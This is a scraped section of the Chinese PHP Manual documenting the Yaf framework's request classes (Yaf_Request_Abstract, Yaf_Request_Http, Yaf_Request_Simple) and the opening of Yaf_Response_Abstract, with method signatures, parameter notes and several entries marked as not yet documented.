  • 检索 SERVER 变量

Yaf_Request_Abstract::getServer

(Yaf >=1.0.0)

Yaf_Request_Abstract::getServer — 检索 SERVER 变量

说明

public Yaf_Request_Abstract::getServer(string $name, string $default = ?): void

检索 SERVER 变量

参数

name

变量名

default

如果提供这个参数，在没找到变量值时候此参数的值将被返回

返回值

参见

  • Yaf_Request_Abstract::getParam() - 检索调用的参数
  • Yaf_Request_Abstract::getEnv() - 检索 ENV 变量

User Contributed Notes

There are no user contributed notes for this page.


判断请求是否是 CLI 请求

  • ? Yaf_Request_Abstract::getServer
  • Yaf_Request_Abstract::isDispatched ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 判断请求是否是 CLI 请求

Yaf_Request_Abstract::isCli

(Yaf >=1.0.0)

Yaf_Request_Abstract::isCli — 判断请求是否是 CLI 请求

说明

public Yaf_Request_Abstract::isCli(): bool

参数

此函数没有参数。

返回值

bolean

参见

  • Yaf_Request_Abstract::isHead() - 判断请求是否是 HEAD 请求
  • Yaf_Request_Abstract::isGet() - 判断请求是否是 GET 请求
  • Yaf_Request_Abstract::isPost() - 判断请求是否是 POST 请求
  • Yaf_Request_Abstract::isPut() - 判断请求是否是 PUT 请求
  • Yaf_Request_Abstract::isOptions() - 判断请求是否是 OPTIONS 请求
  • Yaf_Request_Abstract::isXmlHTTPRequest() - 判断请求是否是 AJAX 请求

User Contributed Notes

There are no user contributed notes for this page.


判断请求是否已发送

  • ? Yaf_Request_Abstract::isCli
  • Yaf_Request_Abstract::isGet ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 判断请求是否已发送

Yaf_Request_Abstract::isDispatched

(Yaf >=1.0.0)

Yaf_Request_Abstract::isDispatched — 判断请求是否已发送

说明

public Yaf_Request_Abstract::isDispatched(): bool

参数

此函数没有参数。

返回值

boolean

参见

  • Yaf_Dispatcher::dispatch() - 分发请求

User Contributed Notes

There are no user contributed notes for this page.


判断请求是否是 GET 请求

  • ? Yaf_Request_Abstract::isDispatched
  • Yaf_Request_Abstract::isHead ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 判断请求是否是 GET 请求

Yaf_Request_Abstract::isGet

(Yaf >=1.0.0)

Yaf_Request_Abstract::isGet — 判断请求是否是 GET 请求

说明

public Yaf_Request_Abstract::isGet(): bool

参数

此函数没有参数。

返回值

boolean

参见

  • Yaf_Request_Abstract::isHead() - 判断请求是否是 HEAD 请求
  • Yaf_Request_Abstract::isCli() - 判断请求是否是 CLI 请求
  • Yaf_Request_Abstract::isPost() - 判断请求是否是 POST 请求
  • Yaf_Request_Abstract::isPut() - 判断请求是否是 PUT 请求
  • Yaf_Request_Abstract::isOptions() - 判断请求是否是 OPTIONS 请求
  • Yaf_Request_Abstract::isXmlHTTPRequest() - 判断请求是否是 AJAX 请求

User Contributed Notes

There are no user contributed notes for this page.


判断请求是否是 HEAD 请求

  • ? Yaf_Request_Abstract::isGet
  • Yaf_Request_Abstract::isOptions ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 判断请求是否是 HEAD 请求

Yaf_Request_Abstract::isHead

(Yaf >=1.0.0)

Yaf_Request_Abstract::isHead — 判断请求是否是 HEAD 请求

说明

public Yaf_Request_Abstract::isHead(): bool

参数

此函数没有参数。

返回值

boolean

参见

  • Yaf_Request_Abstract::isGet() - 判断请求是否是 GET 请求
  • Yaf_Request_Abstract::isCli() - 判断请求是否是 CLI 请求
  • Yaf_Request_Abstract::isPost() - 判断请求是否是 POST 请求
  • Yaf_Request_Abstract::isPut() - 判断请求是否是 PUT 请求
  • Yaf_Request_Abstract::isOptions() - 判断请求是否是 OPTIONS 请求
  • Yaf_Request_Abstract::isXmlHTTPRequest() - 判断请求是否是 AJAX 请求

User Contributed Notes

There are no user contributed notes for this page.


判断请求是否是 OPTIONS 请求

  • ? Yaf_Request_Abstract::isHead
  • Yaf_Request_Abstract::isPost ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 判断请求是否是 OPTIONS 请求

Yaf_Request_Abstract::isOptions

(Yaf >=1.0.0)

Yaf_Request_Abstract::isOptions — 判断请求是否是 OPTIONS 请求

说明

public Yaf_Request_Abstract::isOptions(): bool

参数

此函数没有参数。

返回值

boolean

User Contributed Notes

There are no user contributed notes for this page.


判断请求是否是 POST 请求

  • ? Yaf_Request_Abstract::isOptions
  • Yaf_Request_Abstract::isPut ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 判断请求是否是 POST 请求

Yaf_Request_Abstract::isPost

(Yaf >=1.0.0)

Yaf_Request_Abstract::isPost — 判断请求是否是 POST 请求

说明

public Yaf_Request_Abstract::isPost(): bool

参数

此函数没有参数。

返回值

boolean

参见

  • Yaf_Request_Abstract::isGet() - 判断请求是否是 GET 请求
  • Yaf_Request_Abstract::isCli() - 判断请求是否是 CLI 请求
  • Yaf_Request_Abstract::isHead() - 判断请求是否是 HEAD 请求
  • Yaf_Request_Abstract::isPut() - 判断请求是否是 PUT 请求
  • Yaf_Request_Abstract::isOptions() - 判断请求是否是 OPTIONS 请求
  • Yaf_Request_Abstract::isXmlHTTPRequest() - 判断请求是否是 AJAX 请求

User Contributed Notes

There are no user contributed notes for this page.


判断请求是否是 PUT 请求

  • ? Yaf_Request_Abstract::isPost
  • Yaf_Request_Abstract::isRouted ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 判断请求是否是 PUT 请求

Yaf_Request_Abstract::isPut

(Yaf >=1.0.0)

Yaf_Request_Abstract::isPut — 判断请求是否是 PUT 请求

说明

public Yaf_Request_Abstract::isPut(): bool

参数

此函数没有参数。

返回值

boolean

参见

  • Yaf_Request_Abstract::isHead() - 判断请求是否是 HEAD 请求
  • Yaf_Request_Abstract::isCli() - 判断请求是否是 CLI 请求
  • Yaf_Request_Abstract::isPost() - 判断请求是否是 POST 请求
  • Yaf_Request_Abstract::isGet() - 判断请求是否是 GET 请求
  • Yaf_Request_Abstract::isOptions() - 判断请求是否是 OPTIONS 请求
  • Yaf_Request_Abstract::isXmlHTTPRequest() - 判断请求是否是 AJAX 请求

User Contributed Notes

There are no user contributed notes for this page.


判断请求是否已路由

  • ? Yaf_Request_Abstract::isPut
  • Yaf_Request_Abstract::isXmlHttpRequest ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 判断请求是否已路由

Yaf_Request_Abstract::isRouted

(Yaf >=1.0.0)

Yaf_Request_Abstract::isRouted — 判断请求是否已路由

说明

public Yaf_Request_Abstract::isRouted(): bool

参数

此函数没有参数。

返回值

boolean

User Contributed Notes

There are no user contributed notes for this page.


判断请求是否是 AJAX 请求

  • ? Yaf_Request_Abstract::isRouted
  • Yaf_Request_Abstract::setActionName ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 判断请求是否是 AJAX 请求

Yaf_Request_Abstract::isXmlHttpRequest

(Yaf >=1.0.0)

Yaf_Request_Abstract::isXmlHttpRequest — 判断请求是否是 AJAX 请求

说明

public Yaf_Request_Abstract::isXmlHttpRequest(): bool

参数

此函数没有参数。

返回值

boolean

参见

  • Yaf_Request_Abstract::isHead() - 判断请求是否是 HEAD 请求
  • Yaf_Request_Abstract::isCli() - 判断请求是否是 CLI 请求
  • Yaf_Request_Abstract::isPost() - 判断请求是否是 POST 请求
  • Yaf_Request_Abstract::isPut() - 判断请求是否是 PUT 请求
  • Yaf_Request_Abstract::isOptions() - 判断请求是否是 OPTIONS 请求
  • Yaf_Request_Abstract::isGet() - 判断请求是否是 GET 请求

User Contributed Notes

oreaking at gmail dot com 25-Sep-2014 02:16
That means the request method is ajax or not .


设置 action 名

  • ? Yaf_Request_Abstract::isXmlHttpRequest
  • Yaf_Request_Abstract::setBaseUri ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 设置 action 名

Yaf_Request_Abstract::setActionName

(Yaf >=1.0.0)

Yaf_Request_Abstract::setActionName — 设置 action 名

说明

public Yaf_Request_Abstract::setActionName(string $action, bool $format_name = true): void

set action name to request, this is usually used by custom router to set route result action name.

参数

action

string，action 名，应该是小写的，比如"index"或"foo_bar"

format_name

在 Yaf 3.2.0 中引入，Yaf 默认会将名称格式化为小写样式，如果设置为 false，Yaf 将设置原始名称来请求。

返回值

User Contributed Notes

There are no user contributed notes for this page.


设置基础 URI

  • ? Yaf_Request_Abstract::setActionName
  • Yaf_Request_Abstract::setControllerName ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 设置基础 URI

Yaf_Request_Abstract::setBaseUri

(Yaf >=1.0.0)

Yaf_Request_Abstract::setBaseUri — 设置基础 URI

说明

public Yaf_Request_Abstract::setBaseUri(string $uir): bool

设置基础 URI，在路由时使用基础 URI，在路由阶段，请求 URI 用于路由请求，而基础 URI 用户跳过请求 URI 的前置部分（基础 URI）。 也就是说，如果请求 URI 是 a/b/c，然后设置基础 URI 为 "a/b"，则路由阶段只会使用"/c"

Note:

一般不需要设置，Yaf 会自动判断。

参数

uir

基础 URI

返回值

bool

User Contributed Notes

There are no user contributed notes for this page.


设置控制器名

  • ? Yaf_Request_Abstract::setBaseUri
  • Yaf_Request_Abstract::setDispatched ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 设置控制器名

Yaf_Request_Abstract::setControllerName

(Yaf >=1.0.0)

Yaf_Request_Abstract::setControllerName — 设置控制器名

说明

public Yaf_Request_Abstract::setControllerName(string $controller, bool $format_name = true): void

set controller name to request, this is usually used by custom router to set route result controller name.

参数

controller

string，controller 名，应该是骆驼样式，比如"Index"或"Foo_Bar"

format_name

在 Yaf 3.2.0 中引入，Yaf 默认会将名称格式化为骆驼样式，如果设置为 false，Yaf 将设置原始名称来请求。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The setDispatched purpose

  • ? Yaf_Request_Abstract::setControllerName
  • Yaf_Request_Abstract::setModuleName ?
  • PHP Manual
  • Yaf_Request_Abstract
  • The setDispatched purpose

Yaf_Request_Abstract::setDispatched

(Yaf >=1.0.0)

Yaf_Request_Abstract::setDispatched — The setDispatched purpose

说明

public Yaf_Request_Abstract::setDispatched(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


设置模块名

  • ? Yaf_Request_Abstract::setDispatched
  • Yaf_Request_Abstract::setParam ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 设置模块名

Yaf_Request_Abstract::setModuleName

(Yaf >=1.0.0)

Yaf_Request_Abstract::setModuleName — 设置模块名

说明

public Yaf_Request_Abstract::setModuleName(string $module, bool $format_name = true): void

set module name to request, this is usually used by custom router to set route result module name.

参数

module

string，module 名，应该是骆驼样式，比如"Index"或"Foo_Bar"

format_name

在 Yaf 3.2.0 中引入，Yaf 默认会将名称格式化为骆驼样式，如果设置为 false，Yaf 将设置原始名称来请求。

返回值

User Contributed Notes

There are no user contributed notes for this page.


设置调用参数到请求

  • ? Yaf_Request_Abstract::setModuleName
  • Yaf_Request_Abstract::setRequestUri ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 设置调用参数到请求

Yaf_Request_Abstract::setParam

(Yaf >=1.0.0)

Yaf_Request_Abstract::setParam — 设置调用参数到请求

说明

public Yaf_Request_Abstract::setParam(string $name, string $value = ?): bool

设置参数到请求，可以由 Yaf_Request_Abstract::getParam() 检索

参数

name

value

返回值

参见

  • Yaf_Request_Abstract::getParam() - 检索调用的参数
  • Yaf_Request_Abstract::getParams() - 获取所有调用的参数

User Contributed Notes

There are no user contributed notes for this page.


The setRequestUri purpose

  • ? Yaf_Request_Abstract::setParam
  • Yaf_Request_Abstract::setRouted ?
  • PHP Manual
  • Yaf_Request_Abstract
  • The setRequestUri purpose

Yaf_Request_Abstract::setRequestUri

(Yaf >=2.1.0)

Yaf_Request_Abstract::setRequestUri — The setRequestUri purpose

说明

public Yaf_Request_Abstract::setRequestUri(string $uir): void

Warning

本函数还未编写文档，仅有参数列表。

参数

uir

返回值

User Contributed Notes

There are no user contributed notes for this page.


The setRouted purpose

  • ? Yaf_Request_Abstract::setRequestUri
  • Yaf_Request_Http ?
  • PHP Manual
  • Yaf_Request_Abstract
  • The setRouted purpose

Yaf_Request_Abstract::setRouted

(Yaf >=1.0.0)

Yaf_Request_Abstract::setRouted — The setRouted purpose

说明

public Yaf_Request_Abstract::setRouted(string $flag = ?): void

Warning

本函数还未编写文档，仅有参数列表。

参数

flag

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Request_Http class

(Yaf >=1.0.0)

简介

来自客户端的任何请求都会初始化为 Yaf_Request_Http。可以通过该类的方法获取请求信息，像是 uri query 和 post 参数等。

Note:

为了安全，$_GET/$_POST 在 Yaf 中为只读，这意味着如果在全局变量中设置了值，将无法从 Yaf_Request_Http::getQuery() 或 Yaf_Request_Http::getPost() 获取。

但确实有些用途需要这些功能，比如单元测试。因此 Yaf 可以使用 --enable-yaf-debug 编译，这将允许 Yaf 通过脚本读取用户设置的值。

在这种情况下，Yaf 将会抛出 E_STRICT 警告来提醒：正在调试模式下运行 yaf。

类摘要

class Yaf_Request_Http extends Yaf_Request_Abstract {
/* 属性 */
/* 方法 */
public __construct(string $request_uri = ?, string $base_uri = ?)
public get(string $name, string $default = ?): mixed
public getCookie(string $name, string $default = ?): mixed
public getFiles(): void
public getPost(string $name, string $default = ?): mixed
public getQuery(string $name, string $default = ?): mixed
public getRaw(): mixed
public getRequest(): void
public isXmlHttpRequest(): bool
/* 继承的方法 */
public Yaf_Request_Abstract::clearParams(): bool
public Yaf_Request_Abstract::getActionName(): void
public Yaf_Request_Abstract::getBaseUri(): void
public Yaf_Request_Abstract::getControllerName(): void
public Yaf_Request_Abstract::getEnv(string $name, string $default = ?): void
public Yaf_Request_Abstract::getException(): void
public Yaf_Request_Abstract::getLanguage(): void
public Yaf_Request_Abstract::getMethod(): string
public Yaf_Request_Abstract::getModuleName(): void
public Yaf_Request_Abstract::getParam(string $name, string $default = ?): mixed
public Yaf_Request_Abstract::getParams(): array
public Yaf_Request_Abstract::getRequestUri(): void
public Yaf_Request_Abstract::getServer(string $name, string $default = ?): void
public Yaf_Request_Abstract::isCli(): bool
public Yaf_Request_Abstract::isDispatched(): bool
public Yaf_Request_Abstract::isGet(): bool
public Yaf_Request_Abstract::isHead(): bool
public Yaf_Request_Abstract::isOptions(): bool
public Yaf_Request_Abstract::isPost(): bool
public Yaf_Request_Abstract::isPut(): bool
public Yaf_Request_Abstract::isRouted(): bool
public Yaf_Request_Abstract::isXmlHttpRequest(): bool
public Yaf_Request_Abstract::setActionName(string $action, bool $format_name = true): void
public Yaf_Request_Abstract::setBaseUri(string $uir): bool
public Yaf_Request_Abstract::setControllerName(string $controller, bool $format_name = true): void
public Yaf_Request_Abstract::setDispatched(): void
public Yaf_Request_Abstract::setModuleName(string $module, bool $format_name = true): void
public Yaf_Request_Abstract::setParam(string $name, string $value = ?): bool
public Yaf_Request_Abstract::setRequestUri(string $uir): void
public Yaf_Request_Abstract::setRouted(string $flag = ?): void
}

属性

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

Table of Contents

  • Yaf_Request_Http::__construct — Yaf_Request_Http 构造方法
  • Yaf_Request_Http::get — 从客户端检索变量
  • Yaf_Request_Http::getCookie — 检索 Cookie 变量
  • Yaf_Request_Http::getFiles — The getFiles purpose
  • Yaf_Request_Http::getPost — 检索 POST 变量
  • Yaf_Request_Http::getQuery — 获取 query 参数
  • Yaf_Request_Http::getRaw — Retrieve Raw request body
  • Yaf_Request_Http::getRequest — The getRequest purpose
  • Yaf_Request_Http::isXmlHttpRequest — 是否为Ajax请求

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Request_Http 构造方法

  • ? Yaf_Request_Http
  • Yaf_Request_Http::get ?
  • PHP Manual
  • Yaf_Request_Http
  • Yaf_Request_Http 构造方法

Yaf_Request_Http::__construct

(Yaf >=1.0.0)

Yaf_Request_Http::__construct — Yaf_Request_Http 构造方法

说明

public Yaf_Request_Http::__construct(string $request_uri = ?, string $base_uri = ?)

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


从客户端检索变量

  • ? Yaf_Request_Http::__construct
  • Yaf_Request_Http::getCookie ?
  • PHP Manual
  • Yaf_Request_Http
  • 从客户端检索变量

Yaf_Request_Http::get

(Yaf >=1.0.0)

Yaf_Request_Http::get — 从客户端检索变量

说明

public Yaf_Request_Http::get(string $name, string $default = ?): mixed

从客户端检索变量，该方法将从请求参数中搜索 name，如果没有找到，将从 POST、GET、Cookie、Server 中寻找

参数

name

变量名

default

如果提供了此参数，当没有找到此变量时，将返回此参数

返回值

参见

  • Yaf_Request_Http::getQuery() - 获取 query 参数
  • Yaf_Request_Http::getPost() - 检索 POST 变量
  • Yaf_Request_Http::getCookie() - 检索 Cookie 变量
  • Yaf_Request_Http::getRaw() - Retrieve Raw request body
  • Yaf_Request_Abstract::getServer() - 检索 SERVER 变量
  • Yaf_Request_Abstract::getParam() - 检索调用的参数

User Contributed Notes

There are no user contributed notes for this page.


检索 Cookie 变量

  • ? Yaf_Request_Http::get
  • Yaf_Request_Http::getFiles ?
  • PHP Manual
  • Yaf_Request_Http
  • 检索 Cookie 变量

Yaf_Request_Http::getCookie

(Yaf >=1.0.0)

Yaf_Request_Http::getCookie — 检索 Cookie 变量

说明

public Yaf_Request_Http::getCookie(string $name, string $default = ?): mixed

检索 Cookie 变量

参数

name

cookie 变量

default

如果提供了此参数，当没有找到此变量时，将返回此参数

返回值

参见

  • Yaf_Request_Http::get() - 从客户端检索变量
  • Yaf_Request_Http::getQuery() - 获取 query 参数
  • Yaf_Request_Http::getPost() - 检索 POST 变量
  • Yaf_Request_Http::getRaw() - Retrieve Raw request body
  • Yaf_Request_Abstract::getServer() - 检索 SERVER 变量
  • Yaf_Request_Abstract::getParam() - 检索调用的参数

User Contributed Notes

There are no user contributed notes for this page.


The getFiles purpose

  • ? Yaf_Request_Http::getCookie
  • Yaf_Request_Http::getPost ?
  • PHP Manual
  • Yaf_Request_Http
  • The getFiles purpose

Yaf_Request_Http::getFiles

(Yaf >=1.0.0)

Yaf_Request_Http::getFiles — The getFiles purpose

说明

public Yaf_Request_Http::getFiles(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检索 POST 变量

  • ? Yaf_Request_Http::getFiles
  • Yaf_Request_Http::getQuery ?
  • PHP Manual
  • Yaf_Request_Http
  • 检索 POST 变量

Yaf_Request_Http::getPost

(Yaf >=1.0.0)

Yaf_Request_Http::getPost — 检索 POST 变量

说明

public Yaf_Request_Http::getPost(string $name, string $default = ?): mixed

检索 POST 变量

参数

name

变量名

default

如果提供了此参数，当没有找到此变量时，将返回此参数

返回值

参见

  • Yaf_Request_Http::get() - 从客户端检索变量
  • Yaf_Request_Http::getQuery() - 获取 query 参数
  • Yaf_Request_Http::getCookie() - 检索 Cookie 变量
  • Yaf_Request_Http::getRaw() - Retrieve Raw request body
  • Yaf_Request_Abstract::getServer() - 检索 SERVER 变量
  • Yaf_Request_Abstract::getParam() - 检索调用的参数

User Contributed Notes

There are no user contributed notes for this page.


获取 query 参数

  • ? Yaf_Request_Http::getPost
  • Yaf_Request_Http::getRaw ?
  • PHP Manual
  • Yaf_Request_Http
  • 获取 query 参数

Yaf_Request_Http::getQuery

(Yaf >=1.0.0)

Yaf_Request_Http::getQuery — 获取 query 参数

说明

public Yaf_Request_Http::getQuery(string $name, string $default = ?): mixed

返回 GET 变量

参数

name

变量名

default

如果提供了此参数，当没有找到此变量时，将返回此参数

返回值

参见

  • Yaf_Request_Http::get() - 从客户端检索变量
  • Yaf_Request_Http::getPost() - 检索 POST 变量
  • Yaf_Request_Http::getCookie() - 检索 Cookie 变量
  • Yaf_Request_Http::getRaw() - Retrieve Raw request body
  • Yaf_Request_Abstract::getServer() - 检索 SERVER 变量
  • Yaf_Request_Abstract::getParam() - 检索调用的参数

User Contributed Notes

There are no user contributed notes for this page.


Retrieve Raw request body

  • ? Yaf_Request_Http::getQuery
  • Yaf_Request_Http::getRequest ?
  • PHP Manual
  • Yaf_Request_Http
  • Retrieve Raw request body

Yaf_Request_Http::getRaw

(Yaf >=3.0.7)

Yaf_Request_Http::getRaw — Retrieve Raw request body

说明

public Yaf_Request_Http::getRaw(): mixed

Retrieve Raw request body

参数

此函数没有参数。

返回值

Return string on success, FALSE on failure.

参见

  • Yaf_Request_Http::get() - 从客户端检索变量
  • Yaf_Request_Http::getPost() - 检索 POST 变量
  • Yaf_Request_Http::getCookie() - 检索 Cookie 变量
  • Yaf_Request_Http::getQuery() - 获取 query 参数
  • Yaf_Request_Abstract::getServer() - 检索 SERVER 变量
  • Yaf_Request_Abstract::getParam() - 检索调用的参数

User Contributed Notes

There are no user contributed notes for this page.


The getRequest purpose

  • ? Yaf_Request_Http::getRaw
  • Yaf_Request_Http::isXmlHttpRequest ?
  • PHP Manual
  • Yaf_Request_Http
  • The getRequest purpose

Yaf_Request_Http::getRequest

(Yaf >=1.0.0)

Yaf_Request_Http::getRequest — The getRequest purpose

说明

public Yaf_Request_Http::getRequest(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


是否为Ajax请求

  • ? Yaf_Request_Http::getRequest
  • Yaf_Request_Simple ?
  • PHP Manual
  • Yaf_Request_Http
  • 是否为Ajax请求

Yaf_Request_Http::isXmlHttpRequest

(Yaf >=1.0.0)

Yaf_Request_Http::isXmlHttpRequest — 是否为Ajax请求

说明

public Yaf_Request_Http::isXmlHttpRequest(): bool

检查请求是否是 Ajax 请求。

Note:

此方法依赖于请求标头：HTTP_X_REQUESTED_WITH，某些 Javascript 库在执行 Ajax 请求时不会设置此 header

参数

此函数没有参数。

返回值

boolean

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Request_Simple 类

(Yaf >=1.0.0)

简介

Yaf_Request_Simple 特别的被用于测试。例如：CLI模式下模拟一些特殊的请求。

类摘要

class Yaf_Request_Simple extends Yaf_Request_Abstract {
/* Constants */
const string SCHEME_HTTP = http;
const string SCHEME_HTTPS = https;
/* 属性 */
/* 方法 */
public __construct(
string $method = ?,
string $module = ?,
string $controller = ?,
string $action = ?,
array $params = ?
)
public get(): void
public getCookie(): void
public getFiles(): void
public getPost(): void
public getQuery(): void
public getRequest(): void
public isXmlHttpRequest(): void
/* 继承的方法 */
public Yaf_Request_Abstract::clearParams(): bool
public Yaf_Request_Abstract::getActionName(): void
public Yaf_Request_Abstract::getBaseUri(): void
public Yaf_Request_Abstract::getControllerName(): void
public Yaf_Request_Abstract::getEnv(string $name, string $default = ?): void
public Yaf_Request_Abstract::getException(): void
public Yaf_Request_Abstract::getLanguage(): void
public Yaf_Request_Abstract::getMethod(): string
public Yaf_Request_Abstract::getModuleName(): void
public Yaf_Request_Abstract::getParam(string $name, string $default = ?): mixed
public Yaf_Request_Abstract::getParams(): array
public Yaf_Request_Abstract::getRequestUri(): void
public Yaf_Request_Abstract::getServer(string $name, string $default = ?): void
public Yaf_Request_Abstract::isCli(): bool
public Yaf_Request_Abstract::isDispatched(): bool
public Yaf_Request_Abstract::isGet(): bool
public Yaf_Request_Abstract::isHead(): bool
public Yaf_Request_Abstract::isOptions(): bool
public Yaf_Request_Abstract::isPost(): bool
public Yaf_Request_Abstract::isPut(): bool
public Yaf_Request_Abstract::isRouted(): bool
public Yaf_Request_Abstract::isXmlHttpRequest(): bool
public Yaf_Request_Abstract::setActionName(string $action, bool $format_name = true): void
public Yaf_Request_Abstract::setBaseUri(string $uir): bool
public Yaf_Request_Abstract::setControllerName(string $controller, bool $format_name = true): void
public Yaf_Request_Abstract::setDispatched(): void
public Yaf_Request_Abstract::setModuleName(string $module, bool $format_name = true): void
public Yaf_Request_Abstract::setParam(string $name, string $value = ?): bool
public Yaf_Request_Abstract::setRequestUri(string $uir): void
public Yaf_Request_Abstract::setRouted(string $flag = ?): void
}

属性

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

预定义常量

Yaf_Request_Simple::SCHEME_HTTP

Yaf_Request_Simple::SCHEME_HTTPS

Table of Contents

  • Yaf_Request_Simple::__construct — Yaf_Request_Simple 构造方法
  • Yaf_Request_Simple::get — The get purpose
  • Yaf_Request_Simple::getCookie — The getCookie purpose
  • Yaf_Request_Simple::getFiles — The getFiles purpose
  • Yaf_Request_Simple::getPost — The getPost purpose
  • Yaf_Request_Simple::getQuery — The getQuery purpose
  • Yaf_Request_Simple::getRequest — The getRequest purpose
  • Yaf_Request_Simple::isXmlHttpRequest — 判断请求是否是 Ajax 请求

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Request_Simple 构造方法

  • ? Yaf_Request_Simple
  • Yaf_Request_Simple::get ?
  • PHP Manual
  • Yaf_Request_Simple
  • Yaf_Request_Simple 构造方法

Yaf_Request_Simple::__construct

(Yaf >=1.0.0)

Yaf_Request_Simple::__construct — Yaf_Request_Simple 构造方法

说明

public Yaf_Request_Simple::__construct(
string $method = ?,
string $module = ?,
string $controller = ?,
string $action = ?,
array $params = ?
)

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The get purpose

  • ? Yaf_Request_Simple::__construct
  • Yaf_Request_Simple::getCookie ?
  • PHP Manual
  • Yaf_Request_Simple
  • The get purpose

Yaf_Request_Simple::get

(Yaf >=1.0.0)

Yaf_Request_Simple::get — The get purpose

说明

public Yaf_Request_Simple::get(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getCookie purpose

  • ? Yaf_Request_Simple::get
  • Yaf_Request_Simple::getFiles ?
  • PHP Manual
  • Yaf_Request_Simple
  • The getCookie purpose

Yaf_Request_Simple::getCookie

(Yaf >=1.0.0)

Yaf_Request_Simple::getCookie — The getCookie purpose

说明

public Yaf_Request_Simple::getCookie(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getFiles purpose

  • ? Yaf_Request_Simple::getCookie
  • Yaf_Request_Simple::getPost ?
  • PHP Manual
  • Yaf_Request_Simple
  • The getFiles purpose

Yaf_Request_Simple::getFiles

(Yaf >=1.0.0)

Yaf_Request_Simple::getFiles — The getFiles purpose

说明

public Yaf_Request_Simple::getFiles(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getPost purpose

  • ? Yaf_Request_Simple::getFiles
  • Yaf_Request_Simple::getQuery ?
  • PHP Manual
  • Yaf_Request_Simple
  • The getPost purpose

Yaf_Request_Simple::getPost

(Yaf >=1.0.0)

Yaf_Request_Simple::getPost — The getPost purpose

说明

public Yaf_Request_Simple::getPost(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getQuery purpose

  • ? Yaf_Request_Simple::getPost
  • Yaf_Request_Simple::getRequest ?
  • PHP Manual
  • Yaf_Request_Simple
  • The getQuery purpose

Yaf_Request_Simple::getQuery

(Yaf >=1.0.0)

Yaf_Request_Simple::getQuery — The getQuery purpose

说明

public Yaf_Request_Simple::getQuery(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getRequest purpose

  • ? Yaf_Request_Simple::getQuery
  • Yaf_Request_Simple::isXmlHttpRequest ?
  • PHP Manual
  • Yaf_Request_Simple
  • The getRequest purpose

Yaf_Request_Simple::getRequest

(Yaf >=1.0.0)

Yaf_Request_Simple::getRequest — The getRequest purpose

说明

public Yaf_Request_Simple::getRequest(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


判断请求是否是 Ajax 请求

  • ? Yaf_Request_Simple::getRequest
  • Yaf_Response_Abstract ?
  • PHP Manual
  • Yaf_Request_Simple
  • 判断请求是否是 Ajax 请求

Yaf_Request_Simple::isXmlHttpRequest

(Yaf >=1.0.0)

Yaf_Request_Simple::isXmlHttpRequest — 判断请求是否是 Ajax 请求

说明

public Yaf_Request_Simple::isXmlHttpRequest(): void

参数

此函数没有参数。

返回值

Yaf_Request_Simple 始终返回 false

参见

  • Yaf_Request_Abstract::isXmlHTTPRequest() - 判断请求是否是 AJAX 请求
  • Yaf_Request_Http::isXmlHTTPRequest() - 是否为Ajax请求

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Response_Abstract 类

(Yaf >=1.0.0)

简介

类摘要

class Yaf_Response_Abstract {
/* Constants */
const string DEFAULT_BODY = "content";
/* 属性 */
protected $_header;
protected $_body;
protected $_sendheader;
/* 方法 */
public __construct()
public appendBody(string $content, string $key = ?): bool
public clearBody(string $key = ?): bool
public clearHeaders(): void
public getBody(string $key = ?): mixed
public getHeader(): void
public prependBody(string $content, string $key = ?): bool
public response(): void
protected setAllHeaders(): void
public setBody(string $content, string $key = ?): bool
public setHeader(string $name, string $value, bool $replace = ?): bool
public setRedirect(string $url): bool
private __toString(): string
public __destruct()
}

属性

_header

_body

_sendheader

Table of Contents

  • Yaf_Response_Abstract::appendBody — 向响应 body 追加内容
  • Yaf_Response_Abstract::clearBody — 丢弃所有已存在的响应 body
  • Yaf_Response_Abstract::clearHeaders — 丢弃所有设置的 header
  • Yaf_Response_Abstract::__construct — The __construct purpose
  • Yaf_Response_Abstract::__destruct — The __destruct purpose
  • Yaf_Response_Abstract::getBody — 获取已存在的内容
  • Yaf_Response_Abstract::getHeader — The getHeader purpose
  • Yaf_Response_Abstract::prependBody — The prependBody purpose
  • Yaf_Response_Abstract::response — 发送响应
